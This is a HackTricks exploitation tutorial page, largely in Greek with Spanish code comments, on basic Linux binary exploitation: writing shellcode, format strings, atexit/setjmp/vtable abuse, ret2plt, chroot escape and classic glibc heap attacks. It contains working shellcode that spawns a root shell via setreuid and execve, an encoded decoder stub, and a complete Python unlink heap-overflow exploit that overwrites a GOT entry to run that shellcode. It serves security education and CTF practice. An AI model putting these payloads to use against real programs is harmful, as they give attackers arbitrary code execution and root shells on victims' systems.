hacktricks/exploiting/linux-exploiting-basic-esp
2024-07-18 22:28:47 +00:00
..
rop-leaking-libc-address Translated to Greek 2024-02-10 22:40:18 +00:00
bypassing-canary-and-pie.md Translated to Greek 2024-02-10 22:40:18 +00:00
format-strings-template.md Translated to Greek 2024-02-10 22:40:18 +00:00
fusion.md Translated ['1911-pentesting-fox.md', '6881-udp-pentesting-bittorrent.md 2024-07-18 20:11:44 +00:00
README.md Translated ['binary-exploitation/basic-stack-binary-exploitation-methodo 2024-07-18 22:28:47 +00:00
ret2lib.md Translated to Greek 2024-02-10 22:40:18 +00:00
rop-syscall-execv.md Translated to Greek 2024-02-10 22:40:18 +00:00

Linux Exploiting (Basic) (SPA)

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

2.SHELLCODE

Δείτε διακοπές πυρήνα: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”

setreuid(0,0); // __NR_setreuid 70
execve(“/bin/sh”, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1

xor eax, eax ; καθαρίζουμε το eax
xor ebx, ebx ; ebx = 0 καθώς δεν υπάρχει επιχείρημα να περάσουμε
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; Εκτέλεση syscall

nasm -f elf assembly.asm —> Μας επιστρέφει ένα .o
ld assembly.o -o shellcodeout —> Μας δίνει ένα εκτελέσιμο που σχηματίζεται από τον κώδικα συναρμολόγησης και μπορούμε να πάρουμε τους opcodes με objdump
objdump -d -Mintel ./shellcodeout —> Για να δούμε ότι είναι πράγματι η shellcode μας και να πάρουμε τους OpCodes

Ελέγξτε ότι η shellcode λειτουργεί

char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”

void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>

Για να δούμε ότι οι κλήσεις συστήματος εκτελούνται σωστά, πρέπει να μεταγλωττίσουμε το προηγούμενο πρόγραμμα και οι κλήσεις συστήματος πρέπει να εμφανίζονται σε strace ./PROGRAMA_COMPILADO

Όταν δημιουργούμε shellcodes, μπορούμε να κάνουμε ένα κόλπο. Η πρώτη εντολή είναι ένα jump σε ένα call. Το call καλεί τον αρχικό κώδικα και επιπλέον βάζει στο stack το EIP. Μετά από την εντολή call έχουμε βάλει το string που χρειαζόμαστε, οπότε με αυτό το EIP μπορούμε να δείξουμε στο string και επιπλέον να συνεχίσουμε την εκτέλεση του κώδικα.

ΕJ ΚΟΛΠΟ (/bin/sh):

jmp                 0x1f                                        ; Salto al último call
popl                %esi                                       ; Guardamos en ese la dirección al string
movl               %esi, 0x8(%esi)       ; Concatenar dos veces el string (en este caso /bin/sh)
xorl                 %eax, %eax             ; eax = NULL
movb  %eax, 0x7(%esi)     ; Ponemos un NULL al final del primer /bin/sh
movl               %eax, 0xc(%esi)      ; Ponemos un NULL al final del segundo /bin/sh
movl   $0xb, %eax               ; Syscall 11
movl               %esi, %ebx               ; arg1=“/bin/sh”
leal                 0x8(%esi), %ecx      ; arg[2] = {“/bin/sh”, “0”}
leal                 0xc(%esi), %edx      ; arg3 = NULL
int                    $0x80                         ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl                 %ebx, %ebx             ; ebx = NULL
movl   %ebx, %eax
inc                   %eax                          ; Syscall 1
int                    $0x80                         ; exit(0)
call                  -0x24                          ; Salto a la primera instrución
.string             \”/bin/sh\”                               ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>

EJ χρησιμοποιώντας το Stack(/bin/sh):

section .text
global _start
_start:
xor                  eax, eax                     ;Limpieza
mov                al, 0x46                      ; Syscall 70
xor                  ebx, ebx                     ; arg1 = 0
xor                  ecx, ecx                     ; arg2 = 0
int                    0x80                           ; setreuid(0,0)
xor                  eax, eax                     ; eax = 0
push   eax                             ; “\0”
push               dword 0x68732f2f ; “//sh”
push               dword 0x6e69622f; “/bin”
mov                ebx, esp                     ; arg1 = “/bin//sh\0”
push               eax                             ; Null -> args[1]
push               ebx                             ; “/bin/sh\0” -> args[0]
mov                ecx, esp                     ; arg2 = args[]
mov                al, 0x0b                      ; Syscall 11
int                    0x80                           ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)

EJ FNSTENV:

fabs
fnstenv [esp-0x0c]
pop eax                     ; Guarda el EIP en el que se ejecutó fabs
…

Egg Huter:

Αποτελείται από έναν μικρό κώδικα που διασχίζει τις σελίδες μνήμης που σχετίζονται με μια διαδικασία αναζητώντας τη shellcode που είναι αποθηκευμένη εκεί (αναζητά κάποια υπογραφή που έχει τοποθετηθεί στη shellcode). Χρήσιμο σε περιπτώσεις όπου υπάρχει μόνο ένας μικρός χώρος για την έγχυση κώδικα.

Shellcodes polimórficos

Αποτελούνται από κωδικούς shell που είναι κρυπτογραφημένοι και περιέχουν έναν μικρό κώδικα που τους αποκρυπτογραφεί και πηδά σε αυτόν, χρησιμοποιώντας το κόλπο Call-Pop αυτό θα ήταν ένα παράδειγμα κρυπτογραφημένου κωδικού cesar:

global _start
_start:
jmp short magic
init:
pop     esi
xor      ecx, ecx
mov    cl,0                              ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub     byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub     cl, 1
jnz       desc
jmp     short sc
magic:
call init
sc:
;Aquí va el shellcode

5.Συμπληρωματικές μέθοδοι

Τεχνική του Murat

Στο linux όλα τα προγράμματα χαρτογραφούνται ξεκινώντας από 0xbfffffff

Βλέποντας πώς κατασκευάζεται η στοίβα μιας νέας διαδικασίας στο linux, μπορεί να αναπτυχθεί ένα exploit με τέτοιο τρόπο ώστε το πρόγραμμα να εκκινείται σε ένα περιβάλλον του οποίου η μοναδική μεταβλητή είναι η shellcode. Η διεύθυνση αυτής μπορεί να υπολογιστεί ως: addr = 0xbfffffff - 4 - strlen(ΟΝΟΜΑ_εκτελέσιμου_αρχείου) - strlen(shellcode)

Με αυτόν τον τρόπο θα αποκτηθεί απλά η διεύθυνση όπου βρίσκεται η μεταβλητή περιβάλλοντος με τη shellcode.

Αυτό μπορεί να γίνει χάρη στο γεγονός ότι η συνάρτηση execle επιτρέπει τη δημιουργία ενός περιβάλλοντος που να έχει μόνο τις επιθυμητές μεταβλητές περιβάλλοντος.

Format Strings to Buffer Overflows

Η sprintf moves μια μορφοποιημένη συμβολοσειρά σε μια μεταβλητή. Επομένως, θα μπορούσατε να εκμεταλλευτείτε τη μορφοποίηση μιας συμβολοσειράς για να προκαλέσετε μια buffer overflow στη μεταβλητή όπου αντιγράφεται το περιεχόμενο.
Για παράδειγμα, το payload %.44xAAAA θα γράψει 44B+"AAAA" στη μεταβλητή, γεγονός που μπορεί να προκαλέσει μια buffer overflow.

__atexit Structures

{% hint style="danger" %} Σήμερα είναι πολύ περίεργο να εκμεταλλευτείς αυτό. {% endhint %}

atexit() είναι μια συνάρτηση στην οποία άλλες συναρτήσεις περνιούνται ως παράμετροι. Αυτές οι συναρτήσεις θα εκτελούνται κατά την εκτέλεση μιας exit() ή της επιστροφής της κύριας.
Εάν μπορείτε να τροποποιήσετε τη διεύθυνση οποιασδήποτε από αυτές τις συναρτήσεις ώστε να δείχνει σε μια shellcode, για παράδειγμα, θα κερδίσετε έλεγχο της διαδικασίας, αλλά αυτό είναι αυτή τη στιγμή πιο περίπλοκο.
Αυτή τη στιγμή οι διευθύνσεις στις συναρτήσεις που θα εκτελούνται είναι κρυμμένες πίσω από πολλές δομές και τελικά η διεύθυνση στην οποία δείχνουν δεν είναι οι διευθύνσεις των συναρτήσεων, αλλά είναι κρυπτογραφημένες με XOR και μετατοπίσεις με μια τυχαία κλειδί. Έτσι, αυτή τη στιγμή αυτός ο επιθετικός παράγοντας δεν είναι πολύ χρήσιμος τουλάχιστον σε x86 και x64_86.
Η συνάρτηση κρυπτογράφησης είναι PTR_MANGLE. Άλλες αρχιτεκτονικές όπως m68k, mips32, mips64, aarch64, arm, hppa... δεν υλοποιούν τη συνάρτηση κρυπτογράφησης γιατί επιστρέφει το ίδιο με αυτό που έλαβε ως είσοδο. Έτσι, αυτές οι αρχιτεκτονικές θα μπορούσαν να επιτεθούν μέσω αυτού του παράγοντα.

setjmp() & longjmp()

{% hint style="danger" %} Σήμερα είναι πολύ περίεργο να εκμεταλλευτείς αυτό. {% endhint %}

Setjmp() επιτρέπει να αποθηκεύσετε το περιβάλλον (τους καταχωρητές)
longjmp() επιτρέπει να αποκαταστήσετε το περιβάλλον.
Οι αποθηκευμένοι καταχωρητές είναι: EBX, ESI, EDI, ESP, EIP, EBP
Αυτό που συμβαίνει είναι ότι το EIP και το ESP περνιούνται από τη συνάρτηση PTR_MANGLE, οπότε οι αρχιτεκτονικές ευάλωτες σε αυτήν την επίθεση είναι οι ίδιες με τις παραπάνω.
Είναι χρήσιμες για αποκατάσταση σφαλμάτων ή διακοπές.
Ωστόσο, από όσα έχω διαβάσει, οι άλλοι καταχωρητές δεν είναι προστατευμένοι, έτσι αν υπάρχει μια call ebx, call esi ή call edi μέσα στη συνάρτηση που καλείται, μπορεί να αναληφθεί ο έλεγχος. Ή θα μπορούσατε επίσης να τροποποιήσετε το EBP για να τροποποιήσετε το ESP.

VTable και VPTR σε C++

Κάθε κλάση έχει μια Vtable που είναι ένας πίνακας δεικτών σε μεθόδους.

Κάθε αντικείμενο μιας κλάσης έχει ένα VPtr που είναι ένας δείκτης στον πίνακα της κλάσης του. Το VPtr είναι μέρος της κεφαλίδας κάθε αντικειμένου, οπότε αν επιτευχθεί μια υπεργραφή του VPtr μπορεί να τροποποιηθεί ώστε να δείχνει σε μια ψεύτικη μέθοδο έτσι ώστε η εκτέλεση μιας συνάρτησης να πηγαίνει στη shellcode.

Προληπτικά μέτρα και παρακάμψεις

Αντικατάσταση του Libsafe

Ενεργοποιείται με: LD_PRELOAD=/lib/libsafe.so.2
ή
“/lib/libsave.so.2” > /etc/ld.so.preload

Εμποδίζει τις κλήσεις σε ορισμένες ανασφαλείς συναρτήσεις με άλλες ασφαλείς. Δεν είναι τυποποιημένο. (μόνο για x86, όχι για μεταγλωττίσεις με -fomit-frame-pointer, όχι στατικές μεταγλωττίσεις, όχι όλες οι ευάλωτες συναρτήσεις γίνονται ασφαλείς και το LD_PRELOAD δεν λειτουργεί σε δυαδικά με suid).

ASCII Armored Address Space

Συνίσταται στη φόρτωση των κοινών βιβλιοθηκών από 0x00000000 έως 0x00ffffff ώστε να υπάρχει πάντα ένα byte 0x00. Ωστόσο, αυτό πραγματικά δεν σταματά σχεδόν καμία επίθεση, και λιγότερο σε little endian.

ret2plt

Συνίσταται στην εκτέλεση ενός ROP ώστε να καλείται η συνάρτηση strcpy@plt (από την plt) και να δείχνει στην είσοδο της GOT και να αντιγράφει το πρώτο byte της συνάρτησης που θέλουμε να καλέσουμε (system()). Αμέσως μετά γίνεται το ίδιο δείχνοντας στο GOT+1 και αντιγράφεται το 2ο byte του system()… Στο τέλος καλείται η διεύθυνση που αποθηκεύτηκε στην GOT που θα είναι το system().

Κλουβιά με chroot()

debootstrap -arch=i386 hardy /home/user —> Εγκαθιστά ένα βασικό σύστημα κάτω από έναν συγκεκριμένο υποκατάλογο

Ένας διαχειριστής μπορεί να βγει από ένα από αυτά τα κλουβιά κάνοντας: mkdir foo; chroot foo; cd ..

Εργαλειοποίηση κώδικα

Valgrind —> Ψάχνει για σφάλματα
Memcheck
RAD (Return Address Defender)
Insure++

8 Heap Overflows: Βασικά exploits

Κατακερματισμένο κομμάτι

prev_size |
size | —Κεφαλίδα
*mem | Δεδομένα

Ελεύθερο κομμάτι

prev_size |
size |
*fd | Ptr forward chunk
*bk | Ptr back chunk —Κεφαλίδα
*mem | Δεδομένα

Τα ελεύθερα κομμάτια βρίσκονται σε μια διπλά συνδεδεμένη λίστα (bin) και δεν μπορούν ποτέ να υπάρχουν δύο ελεύθερα κομμάτια μαζί (συγχωνεύονται)

Στο “size” υπάρχουν bits για να υποδείξουν: Εάν το προηγούμενο κομμάτι είναι σε χρήση, εάν το κομμάτι έχει ανατεθεί μέσω mmap() και εάν το κομμάτι ανήκει στην κύρια αρένα.

Εάν κατά την απελευθέρωση ενός κομματιού κάποιο από τα γειτονικά είναι ελεύθερο, αυτά συγχωνεύονται μέσω της μακροεντολής unlink() και το νέο μεγαλύτερο κομμάτι περνάει στο frontlink() για να του εισαχθεί το κατάλληλο bin.

unlink(){
BK = P->bk; —> Το BK του νέου chunk είναι αυτό που είχε το ήδη ελεύθερο
FD = P->fd; —> Το FD του νέου chunk είναι αυτό που είχε το ήδη ελεύθερο
FD->bk = BK; —> Το BK του επόμενου chunk δείχνει στο νέο chunk
BK->fd = FD; —> Το FD του προηγούμενου chunk δείχνει στο νέο chunk
}

Έτσι, αν καταφέρουμε να τροποποιήσουμε το P->bk με τη διεύθυνση μιας shellcode και το P->fd με τη διεύθυνση μιας εισόδου στην GOT ή DTORS λιγότερο από 12, επιτυγχάνεται:

BK = P->bk = &shellcode
FD = P->fd = &__dtor_end__ - 12
FD->bk = BK -> *((&__dtor_end__ - 12) + 12) = &shellcode

Και έτσι εκτελείται η shellcode κατά την έξοδο από το πρόγραμμα.

Επιπλέον, η 4η δήλωση του unlink() γράφει κάτι και η shellcode πρέπει να είναι προσαρμοσμένη για αυτό:

BK->fd = FD -> *(&shellcode + 8) = (&__dtor_end__ - 12) —> Αυτό προκαλεί την εγγραφή 4 bytes από το 8ο byte της shellcode, οπότε η πρώτη εντολή της shellcode πρέπει να είναι ένα jmp για να παραλείψει αυτό και να πέσει σε κάποια nops που θα οδηγήσουν στο υπόλοιπο της shellcode.

Έτσι, το exploit δημιουργείται:

Στο buffer1 βάζουμε τη shellcode ξεκινώντας με ένα jmp ώστε να πέσει σε nops ή στο υπόλοιπο της shellcode.

Μετά τη shellcode βάζουμε γέμισμα μέχρι να φτάσουμε στο πεδίο prev_size και size του επόμενου κομματιού. Σε αυτές τις θέσεις βάζουμε 0xfffffff0 (έτσι ώστε να υπεργραφεί το prev_size ώστε να έχει το bit που λέει ότι είναι ελεύθερο) και “-4“(0xfffffffc) στο size (έτσι ώστε όταν ελέγξει στο 3ο κομμάτι αν το 2ο ήταν ελεύθερο στην πραγματικότητα να πάει στο τροποποιημένο prev_size που θα του πει ότι είναι ελεύθερο) -> Έτσι όταν το free() ερευνήσει θα πάει στο size του 3ου αλλά στην πραγματικότητα θα πάει στο 2ο - 4 και θα νομίζει ότι το 2ο κομμάτι είναι ελεύθερο. Και τότε θα καλέσει το unlink().

Κατά την κλήση του unlink() θα χρησιμοποιήσει ως P->fd τα πρώτα δεδομένα του 2ου κομματιού, οπότε εκεί θα μπει η διεύθυνση που θέλουμε να υπεργράψουμε - 12 (διότι στο FD->bk θα προσθέσει 12 στη διεύθυνση που αποθηκεύτηκε στο FD). Και σε αυτή τη διεύθυνση θα εισαχθεί η δεύτερη διεύθυνση που θα βρει στο 2ο κομμάτι, που μας ενδιαφέρει να είναι η διεύθυνση της shellcode (P->bk ψεύτικο).

from struct import *

import os

shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de relleno

shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

prev_size = pack("<I”, 0xfffffff0) #Interesa que el bit que indica que el anterior trozo está libre esté a 1

fake_size = pack("<I”, 0xfffffffc) #-4, para que piense que el “size” del 3º trozo está 4bytes detrás (apunta a prev_size) pues es ahí donde mira si el 2º trozo está libre

addr_sc = pack("<I", 0x0804a008 + 8) #En el payload al principio le vamos a poner 8bytes de relleno

got_free = pack("<I", 0x08048300 - 12) #Dirección de free() en la plt-12 (será la dirección que se sobrescrita para que se lanza la shellcode la 2º vez que se llame a free)

payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) # Como se dijo el payload comienza con 8 bytes de relleno porque sí

payload += prev_size + fake_size + got_free + addr_sc #Se modifica el 2º trozo, el got_free apunta a donde vamos a guardar la direccion addr_sc + 12

os.system("./8.3.o " + payload)

unset() liberando en sentido inverso (wargame)

Ελέγχουμε 3 κομμάτια διαδοχικά και απελευθερώνονται με αντίστροφη σειρά από αυτήν που κρατήθηκαν.

Σε αυτή την περίπτωση:

Στο chunk c βάζουμε τη shellcode

Το chunk a το χρησιμοποιούμε για να υπεργράψουμε το b με τέτοιο τρόπο ώστε το size να έχει το bit PREV_INUSE απενεργοποιημένο ώστε να νομίζει ότι το chunk a είναι ελεύθερο.

Επιπλέον, υπεργράφουμε στην κεφαλίδα b το size ώστε να αξίζει -4.

Έτσι, το πρόγραμμα θα νομίζει ότι το “a” είναι ελεύθερο και σε ένα bin, οπότε θα καλέσει το unlink() για να το αποσυνδέσει. Ωστόσο, καθώς η κεφαλίδα PREV_SIZE αξίζει -4, θα νομίζει ότι το κομμάτι του “a” στην πραγματικότητα αρχίζει στο b+4. Δηλαδή, θα κάνει ένα unlink() σε ένα κομμάτι που αρχίζει στο b+4, οπότε στο b+12 θα είναι ο δείκτης “fd” και στο b+16 θα είναι ο δείκτης “bk”.

Με αυτόν τον τρόπο, αν στο bk βάλουμε τη διεύθυνση της shellcode και στο fd βάλουμε τη διεύθυνση της συνάρτησης “puts()”-12 έχουμε το payload μας.

Τεχνική Frontlink

Ονομάζεται frontlink όταν απελευθερώνεται κάτι και κανένα από τα γειτονικά του κομμάτια δεν είναι ελεύθερα, δεν καλείται το unlink() αλλά καλείται απευθείας το frontlink().

Είναι χρήσιμη ευπάθεια όταν το malloc που επιτίθεται δεν απελευθερώνεται ποτέ (free()).

Απαιτεί:

Ένα buffer που μπορεί να υπερχειλίσει με τη συνάρτηση εισόδου δεδομένων

Ένα buffer γειτονικό σε αυτό που πρέπει να απελευθερωθεί και του οποίου θα τροποποιηθεί το πεδίο fd της κεφαλίδας χάρη στην υπερχείλιση του προηγούμενου buffer

Ένα buffer προς απελευθέρωση με μέγεθος μεγαλύτερο από 512 αλλά μικρότερο από το προηγούμενο buffer

Ένα buffer δηλωμένο πριν από το βήμα 3 που επιτρέπει την υπεργραφή του prev_size αυτού

Με αυτόν τον τρόπο, επιτυγχάνοντας να υπεργράψουμε σε δύο mallocs με τρόπο ανεξέλεγκτο και σε ένα με ελεγχόμενο τρόπο αλλά που απελευθερώνεται μόνο αυτό το ένα, μπορούμε να κάνουμε ένα exploit.

Ευπάθεια double free()

Εάν καλέσετε δύο φορές το free() με τον ίδιο δείκτη, μένουν δύο bins να δείχνουν στην ίδια διεύθυνση.

Σε περίπτωση που θέλετε να ξαναχρησιμοποιήσετε ένα, θα ανατεθεί χωρίς προβλήματα. Σε περίπτωση που θέλετε να χρησιμοποιήσετε άλλο, θα του ανατεθεί ο ίδιος χώρος, οπότε θα έχουμε τους δείκτες “fd” και “bk” ψευδείς με τα δεδομένα που θα γράψει η προηγούμενη κράτηση.

After free()

Ένας δείκτης που έχει απελευθερωθεί προηγουμένως χρησιμοποιείται ξανά χωρίς έλεγχο.

8 Heap Overflows: Προχωρημένα exploits

Οι τεχνικές Unlink() και FrontLink() αφαιρέθηκαν τροποποιώντας τη συνάρτηση unlink().

The house of mind

Μόνο μια κλήση στο free() είναι απαραίτητη για να προκαλέσει την εκτέλεση αυθαίρετου κώδικα. Είναι σημαντικό να αναζητήσετε ένα δεύτερο κομμάτι που μπορεί να υπερχειλιστεί από ένα προηγούμενο και να απελευθερωθεί.

Μια κλήση στο free() προκαλεί την κλήση του public_fREe(mem), αυτό κάνει:

mstate ar_ptr;

mchunkptr p;

p = mem2chunk(mes); —> Επιστρέφει έναν δείκτη στη διεύθυνση όπου αρχίζει το κομμάτι (mem-8)

ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]

_int_free(ar_ptr, mem);

}

Στο [1] ελέγχει το πεδίο size το bit NON_MAIN_ARENA, το οποίο μπορεί να τροποποιηθεί ώστε η επαλήθευση να επιστρέψει true και να εκτελέσει το heap_for_ptr() που κάνει ένα and στο “mem” αφήνοντας 0 τα 2.5 λιγότερο σημαντικά bytes (στην περίπτωσή μας από 0x0804a000 αφήνει 0x08000000) και έχει πρόσβαση στο 0x08000000->ar_ptr (σαν να ήταν μια δομή heap_info)

Με αυτόν τον τρόπο, εάν μπορούμε να ελέγξουμε ένα κομμάτι, για παράδειγμα στο 0x0804a000 και πρόκειται να απελευθερωθεί ένα κομμάτι στο 0x081002a0, μπορούμε να φτάσουμε στη διεύθυνση 0x08100000 και να γράψουμε ό,τι θέλουμε, για παράδειγμα 0x0804a000. Όταν αυτό το δεύτερο κομμάτι απελευθερωθεί, θα διαπιστώσει ότι το heap_for_ptr(ptr)->ar_ptr επιστρέφει αυτό που έχουμε γράψει στο 0x08100000 (διότι εφαρμόζεται στο 0x081002a0 το and που είδαμε προηγουμένως και από εκεί εξάγεται η τιμή των 4 πρώτων bytes, το ar_ptr)

Με αυτόν τον τρόπο καλείται το _int_free(ar_ptr, mem), δηλαδή, _int_free(0x0804a000, 0x081002a0)
_int_free(mstate av, Void_t* mem){

bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;

..}

Όπως είδαμε προηγουμένως, μπορούμε να ελέγξουμε την τιμή του av, διότι είναι αυτό που γράψαμε στο κομμάτι που πρόκειται να απελευθερωθεί.

Ακριβώς όπως ορίζεται το unsorted_chunks, γνωρίζουμε ότι:
bck = &av->bins[2]-8;
fwd = bck->fd = *(av->bins[2]);
fwd->bk = *(av->bins[2] + 12) = p;

Έτσι, αν στο av->bins[2] γράψουμε την τιμή του __DTOR_END__-12 στην τελευταία εντολή θα γραφτεί στη __DTOR_END__ η διεύθυνση του δεύτερου κομματιού.

Δηλαδή, στο πρώτο κομμάτι πρέπει να βάλουμε στην αρχή πολλές φορές τη διεύθυνση του __DTOR_END__-12 γιατί από εκεί θα την πάρει το av->bins[2]

Στη διεύθυνση που θα πέσει η διεύθυνση του δεύτερου κομματιού με τα τελευταία 5 μηδενικά πρέπει να γράψουμε τη διεύθυνση αυτού του πρώτου κομματιού ώστε το heap_for_ptr() να νομίζει ότι το ar_ptr είναι στην αρχή του πρώτου κομματιού και να εξάγει από εκεί το av->bins[2]

Στο δεύτερο κομμάτι και χάρη στο πρώτο υπεργράφουμε το prev_size με ένα jump 0x0c και το size με κάτι για να ενεργοποιήσουμε -> NON_MAIN_ARENA

Στη συνέχεια, στο κομμάτι 2 βάζουμε ένα σωρό nops και τελικά τη shellcode.

Με αυτόν τον τρόπο θα κληθεί το _int_free(TROZO1, TROZO2) και θα ακολουθήσει τις εντολές για να γράψει στη __DTOR_END__ τη διεύθυνση του prev_size του TROZO2, το οποίο θα παραλείψει στη shellcode.

Για να εφαρμοστεί αυτή η τεχνική απαιτείται να πληρούνται ορισμένες επιπλέον απαιτήσεις που περιπλέκουν λίγο περισσότερο το payload.

Αυτή η τεχνική δεν είναι πλέον εφαρμόσιμη καθώς εφαρμόστηκε σχεδόν η ίδια επιδιόρθωση όπως για το unlink. Συγκρίνονται αν η νέα θέση στην οποία δείχνει δείχνει επίσης σε αυτήν.

Fastbin

Είναι μια παραλλαγή του The house of mind

μας ενδιαφέρει να φτάσουμε να εκτελέσουμε τον παρακάτω κώδικα στον οποίο φτάνουμε μετά την πρώτη επαλήθευση της συνάρτησης _int_free()

fb = &(av->fastbins[fastbin_index(size)] —> Όντας fastbin_index(sz) —> (sz >> 3) - 2

p->fd = *fb

*fb = p

Με αυτόν τον τρόπο, αν βάλουμε στο “fb” τη διεύθυνση μιας συνάρτησης στην GOT, σε αυτή τη διεύθυνση θα μπει η διεύθυνση του κομματιού που υπεργράφηκε. Για αυτό θα είναι απαραίτητο η αρένα να είναι κοντά στις διευθύνσεις των dtors. Πιο συγκεκριμένα, το av->max_fast πρέπει να είναι στη διεύθυνση που θα υπεργραφεί.

Δεδομένου ότι με το The House of Mind είδαμε ότι ελέγχαμε τη θέση του av.

Έτσι, αν στο πεδίο size βάλουμε ένα μέγεθος 8 + NON_MAIN_ARENA + PREV_INUSE —> fastbin_index() θα μας επιστρέψει fastbins[-1], που θα δείχνει στο av->max_fast

Σε αυτή την περίπτωση, το av->max_fast θα είναι η διεύθυνση που θα υπεργραφεί (όχι αυτή στην οποία δείχνει, αλλά αυτή η θέση θα είναι η οποία θα υπεργραφεί).

Επιπλέον, πρέπει να πληροί ότι το κομμάτι γειτονικό προς το απελευθερωμένο πρέπει να είναι μεγαλύτερο από 8 -> Δεδομένου ότι είπαμε ότι το μέγεθος του απελευθερωμένου κομματιού είναι 8, σε αυτό το ψεύτικο κομμάτι πρέπει να βάλουμε μόνο ένα μέγεθος μεγαλύτερο από 8 (καθώς επιπλέον η shellcode θα πάει στο απελευθερωμένο κομμάτι, θα πρέπει να βάλουμε στην αρχή ένα jmp που θα πέσει σε nops).

Επιπλέον, αυτό το ίδιο ψεύτικο κομμάτι πρέπει να είναι μικρότερο από το av->system_mem. Το av->system_mem βρίσκεται 1848 bytes παρακάτω.

Λόγω των μηδενικών του _DTOR_END_ και των λίγων διευθύνσεων στην GOT, καμία από αυτές τις διευθύνσεις δεν είναι κατάλληλη για να υπεργραφούν, οπότε ας δούμε πώς να εφαρμόσουμε το fastbin για να επιτεθούμε στη στοίβα.

Μια άλλη μορφή επίθεσης είναι να ανακατευθύνουμε το av προς τη στοίβα.

Εάν τροποποιήσουμε το μέγεθος ώστε να είναι 16 αντί για 8, τότε: fastbin_index() θα μας επιστρέψει fastbins[0] και μπορούμε να το χρησιμοποιήσουμε για να υπεργράψουμε τη στοίβα.

Για αυτό δεν πρέπει να υπάρχει κανένας canary ή περίεργες τιμές στη στοίβα, στην πραγματικότητα πρέπει να βρισκόμαστε σε αυτήν: 4 bytes μηδενικά + EBP + RET

Τα 4 bytes μηδενικά χρειάζονται ώστε το av να είναι σε αυτή τη διεύθυνση και το πρώτο στοιχείο ενός av είναι το mutex που πρέπει να είναι 0.

Το av->max_fast θα είναι το EBP και θα είναι μια τιμή που θα μας εξυπηρετήσει για να παρακάμψουμε τους περιορισμούς.

Στο av->fastbins[0] θα υπεργραφεί με τη διεύθυνση του p και θα είναι το RET, έτσι θα παρακαμφθεί στη shellcode.

Επιπλέον, στο av->system_mem (1484 bytes πάνω από τη θέση στη στοίβα) θα υπάρχει αρκετή σαβούρα που θα μας επιτρέψει να παρακάμψουμε την επαλήθευση που πραγματοποιείται.

Επιπλέον, πρέπει να πληροί ότι το κομμάτι γειτονικό προς το απελευθερωμένο πρέπει να είναι μεγαλύτερο από 8 -> Δεδομένου ότι είπαμε ότι το μέγεθος του απελευθερωμένου κομματιού είναι 16, σε αυτό το ψεύτικο κομμάτι πρέπει να βάλουμε μόνο ένα μέγεθος μεγαλύτερο από 8 (καθώς επιπλέον η shellcode θα πάει στο απελευθερωμένο κομμάτι, θα πρέπει να βάλουμε στην αρχή ένα jmp που θα πέσει σε nops που θα ακολουθήσουν το πεδίο size του νέου ψεύτικου κομματιού).

The House of Spirit

Σε αυτή την περίπτωση αναζητούμε να έχουμε έναν δείκτη σε ένα malloc που μπορεί να τροποποιηθεί από τον επιτιθέμενο (π.χ., ο δείκτης να είναι στη στοίβα κάτω από μια πιθανή υπερχείλιση σε μια μεταβλητή).

Έτσι, θα μπορούσαμε να κάνουμε αυτόν τον δείκτη να δείχνει όπου θέλουμε. Ωστόσο, δεν είναι οποιαδήποτε θέση έγκυρη, το μέγεθος του ψεύτικου κομματιού πρέπει να είναι μικρότερο από το av->max_fast και πιο συγκεκριμένα ίσο με το μέγεθος που ζητήθηκε σε μια μελλοντική κλήση στο malloc()+8. Για αυτό, αν ξέρουμε ότι μετά από αυτόν τον ευάλωτο δείκτη καλείται malloc(40), το μέγεθος του ψεύτικου κομματιού πρέπει να είναι ίσο με 48.

Εάν, για παράδειγμα, το πρόγραμμα ρωτούσε τον χρήστη για έναν αριθμό, θα μπορούσαμε να εισάγουμε 48 και να δείξουμε τον τροποποιήσιμο δείκτη malloc στους επόμενους 4 bytes (που θα μπορούσαν να ανήκουν στο EBP με τύχη, έτσι το 48 μένει πίσω, σαν να ήταν η κεφαλίδα size). Επιπλέον, η διεύθυνση ptr-4+48 πρέπει να πληροί πολλές προϋποθέσεις (σε αυτή την περίπτωση ptr=EBP), δηλαδή, 8 < ptr-4+48 < av->system_mem.

Εάν αυτό πληρούται, όταν κληθεί το επόμενο malloc που είπαμε ότι ήταν malloc(40), θα του ανατεθεί ως διεύθυνση η διεύθυνση του EBP. Εάν ο επιτιθέμενος μπορεί επίσης να ελέγξει τι γράφεται σε αυτό το malloc, μπορεί να υπεργράψει τόσο το EBP όσο και το EIP με τη διεύθυνση που θέλει.

Αυτό πιστεύω ότι συμβαίνει γιατί έτσι όταν το απελευθερώσει το free() θα κρατήσει ότι στη διεύθυνση που δείχνει το EBP της στοίβας υπάρχει ένα κομμάτι τέλειο για τη νέα malloc() που θέλει να κρατήσει, οπότε του αναθέτει αυτή τη διεύθυνση.

The House of Force

Απαιτείται:

  • Μια υπερχείλιση σε ένα κομμάτι που επιτρέπει την υπεργραφή του wilderness
  • Μια κλήση στο malloc() με το μέγεθος που καθορίζεται από τον χρήστη
  • Μια κλήση στο malloc() των δεδομένων που μπορούν να καθοριστούν από τον χρήστη

